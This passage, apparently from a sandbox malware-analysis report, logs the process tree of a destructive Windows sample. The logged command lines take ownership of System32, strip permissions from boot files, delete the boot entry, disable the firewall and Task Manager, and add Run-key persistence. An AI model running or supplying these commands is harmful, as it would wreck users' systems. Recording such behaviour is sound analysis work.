        Views/modifies file attributes
        
        PID:6304
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        5⤵
        Possible privilege escalation attempt
        
        PID:6660
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        5⤵
        Modifies file permissions
        
        PID:6708
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        5⤵
        Views/modifies file attributes
        
        PID:6784
    - - C:\Windows\system32\wscript.exe
        
        WScript Informacion.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6716
    - - C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SetCursorPos
        5⤵
        
        PID:6216
    - - C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SwapMouseButton
        5⤵
        
        PID:6052
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        
        PID:7288
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        
        PID:7348
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:7416
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        
        PID:7564
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:7736
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        
        PID:7180
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        
        PID:7732
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:8840
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        
        PID:8596
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:9452
    - - C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        5⤵
        Gathers network information
        
        PID:7608
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v EthernetKill /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\EthernetKiller.cmd" /f
        5⤵
        
        PID:6400
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        5⤵
        Views/modifies file attributes
        
        PID:10676
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:1596
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\47BF.tmp\47BE.tmp\47BF.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:12344
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        
        PID:7308
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        Modifies file permissions
        
        PID:16340
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        Possible privilege escalation attempt
        
        PID:7104
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        7⤵
        Modifies file permissions
        
        PID:6772
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        7⤵
        Views/modifies file attributes
        
        PID:13632
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        7⤵
        
        PID:15784
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        7⤵
        Modifies file permissions
        
        PID:17296
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        7⤵
        
        PID:16784
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        7⤵
        
        PID:10588
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        7⤵
        Modifies file permissions
        
        PID:18188
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        7⤵
        
        PID:19412
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:4640
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:10960
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:8148
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:4412
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\485A.tmp\485B.tmp\485C.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:12472
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        Executes a command shell one-liner
        
        PID:14344
        
        C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        
        PID:16836
        
        C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        Modifies file permissions
        
        PID:14352
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        7⤵
        
        PID:15964
        
        C:\Windows\SysWOW64\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        7⤵
        Views/modifies file attributes
        
        PID:16416
        
        C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        7⤵
        
        PID:16028
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        7⤵
        
        PID:17120
        
        C:\Windows\SysWOW64\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        7⤵
        
        PID:18924
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:10904
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:9144
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:3964
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:11272
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\484A.tmp\484B.tmp\484C.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:12444
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        
        PID:9472
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        
        PID:14772
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        
        PID:12508
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        7⤵
        Possible privilege escalation attempt
        
        PID:18168
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        7⤵
        
        PID:18936
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        7⤵
        
        PID:20628
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:11280
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:11288
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:11296
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:11304
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\47BD.tmp\47BE.tmp\47BF.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:12356
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        Executes a command shell one-liner
        
        PID:15532
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        Modifies file permissions
        
        PID:16260
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        Modifies file permissions
        
        PID:15540
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        7⤵
        Possible privilege escalation attempt
        
        PID:16740
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        7⤵
        Views/modifies file attributes
        
        PID:17264
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:11144
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        7⤵
        Possible privilege escalation attempt
        
        PID:17960
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        7⤵
        
        PID:20088
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:11312
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:11320
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:11328
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:11336
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\485B.tmp\48C8.tmp\48C9.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:12528
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        Executes a command shell one-liner
        
        PID:14216
        
        C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        Modifies file permissions
        
        PID:14572
        
        C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        Modifies file permissions
        
        PID:14224
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        7⤵
        
        PID:14520
        
        C:\Windows\SysWOW64\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        7⤵
        
        PID:15772
        
        C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        7⤵
        
        PID:16888
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        7⤵
        Modifies file permissions
        
        PID:10412
        
        C:\Windows\SysWOW64\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        7⤵
        Views/modifies file attributes
        
        PID:17972
        
        C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        7⤵
        
        PID:21268
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        7⤵
        Possible privilege escalation attempt
        
        PID:11632
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:11344
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:11352
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:11360
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:11368
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:11156
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:12932
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:12728
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
        5⤵
        Modifies registry key
        
        PID:11432
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall set allprofiles state off
        5⤵
        Modifies Windows Firewall
        
        PID:12368
    - - C:\Windows\system32\bcdedit.exe
        
        bcdedit /delete {current}
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:13444
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\drivers" /r
        5⤵
        
        PID:14480
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:2660
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:3016
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:3852
- - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
    C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
    3⤵
    PID:420
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\2E20.tmp\2E30.tmp\2E31.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
      4⤵
      Executes a command shell one-liner
      PID:5280
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        5⤵
        Executes a command shell one-liner
        
        PID:5484
      - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        6⤵
        Possible privilege escalation attempt
        
        PID:5720
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        5⤵
        
        PID:5496
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        5⤵
        Modifies file permissions
        
        PID:5704
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        5⤵
        Views/modifies file attributes
        
        PID:5876
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        5⤵
        
        PID:5940
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        5⤵
        
        PID:5972
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        5⤵
        
        PID:6120
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        5⤵
        
        PID:5460
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5544
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        5⤵
        
        PID:5808
    - - C:\Windows\system32\wscript.exe
        
        WScript Informacion.vbs
        5⤵
        
        PID:5880
    - - C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SetCursorPos
        5⤵
        
        PID:5224
    - - C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SwapMouseButton
        5⤵
        
        PID:652
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        
        PID:6116
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6120
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5468
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5480
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        
        PID:5516
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        
        PID:2656
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        
        PID:4184
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:2172
    - - C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        5⤵
        
        PID:5972
    - - C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        5⤵
        
        PID:6064
    - - C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        5⤵
        Gathers network information
        
        PID:4916
    - - C:\Windows\system32\reg.exe
        
        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v EthernetKill /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\EthernetKiller.cmd" /f
        5⤵
        
        PID:6288
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        5⤵
        Views/modifies file attributes
        
        PID:6432
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:7360
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\7F8B.tmp\7F8C.tmp\7F8D.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:7476
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        
        PID:9820
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        Possible privilege escalation attempt
        
        PID:11220
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        
        PID:9828
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        7⤵
        
        PID:8756
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        7⤵
        Views/modifies file attributes
        
        PID:5624
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        7⤵
        
        PID:7028
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        7⤵
        Modifies file permissions
        
        PID:10248
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        7⤵
        Views/modifies file attributes
        
        PID:10948
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        7⤵
        Possible privilege escalation attempt
        
        PID:9276
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        7⤵
        
        PID:6512
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        7⤵
        Views/modifies file attributes
        
        PID:10916
        
        C:\Windows\system32\wscript.exe
        
        WScript Informacion.vbs
        7⤵
        
        PID:7284
        
        C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SetCursorPos
        7⤵
        
        PID:10268
        
        C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SwapMouseButton
        7⤵
        
        PID:9196
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:6124
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:8264
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5436
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:5440
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:9200
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:1224
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:5292
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:5612
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:5180
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:8188
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        7⤵
        Gathers network information
        
        PID:7028
        
        C:\Windows\system32\reg.exe
        
        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v EthernetKill /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\EthernetKiller.cmd" /f
        7⤵
        
        PID:5896
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        7⤵
        Views/modifies file attributes
        
        PID:1552
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:7424
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:7452
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:7464
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:7772
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\8B82.tmp\8B83.tmp\8B84.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:6684
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        
        PID:9268
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        Possible privilege escalation attempt
        
        PID:9244
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        
        PID:9276
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        7⤵
        
        PID:9980
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        7⤵
        
        PID:10024
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\winload.exe"
        7⤵
        
        PID:11192
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\winload.exe" /reset /c /q
        7⤵
        
        PID:652
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winload.exe"
        7⤵
        Views/modifies file attributes
        
        PID:3668
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32\hal.dll"
        7⤵
        
        PID:9144
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\hal.dll" /reset /c /q
        7⤵
        Possible privilege escalation attempt
        
        PID:9340
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\hal.dll"
        7⤵
        
        PID:12276
        
        C:\Windows\system32\wscript.exe
        
        WScript Informacion.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:12796
        
        C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SetCursorPos
        7⤵
        
        PID:12812
        
        C:\Windows\system32\rundll32.exe
        
        rundll32 user32.dll, SwapMouseButton
        7⤵
        
        PID:13184
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:6560
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:6764
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:9536
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:12880
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:6192
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:12232
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:10800
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:13784
        
        C:\Windows\system32\wscript.exe
        
        WScript ErrorCritico.vbs
        7⤵
        
        PID:8780
        
        C:\Windows\system32\wscript.exe
        
        WScript Advertencia.vbs
        7⤵
        
        PID:14512
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        7⤵
        Gathers network information
        
        PID:17188
        
        C:\Windows\system32\reg.exe
        
        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v EthernetKill /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\EthernetKiller.cmd" /f
        7⤵
        
        PID:19336
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        7⤵
        Views/modifies file attributes
        
        PID:19248
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:7780
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:7788
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:7796
    - - C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        
        C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe
        5⤵
        
        PID:7804
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\8B14.tmp\8B15.tmp\8B16.bat C:\Users\Admin\AppData\Local\Temp\9b49b86c88117138c7dbf0b1ffdcf2ec3d193ffdb44cdbdd96c2899d260dfffb.exe"
        6⤵
        Executes a command shell one-liner
        
        PID:7268
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        
        PID:5336
        
        C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:6604
        
        C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\System32\winresume.exe"
        7⤵
        
        PID:5960
        
        C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\System32\winresume.exe" /reset /c /q
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:11240
        
        C:\Windows\SysWOW64\attrib.exe
        
        attrib -r -a -s -h "C:\Windows\System32\winresume.exe"
        7⤵
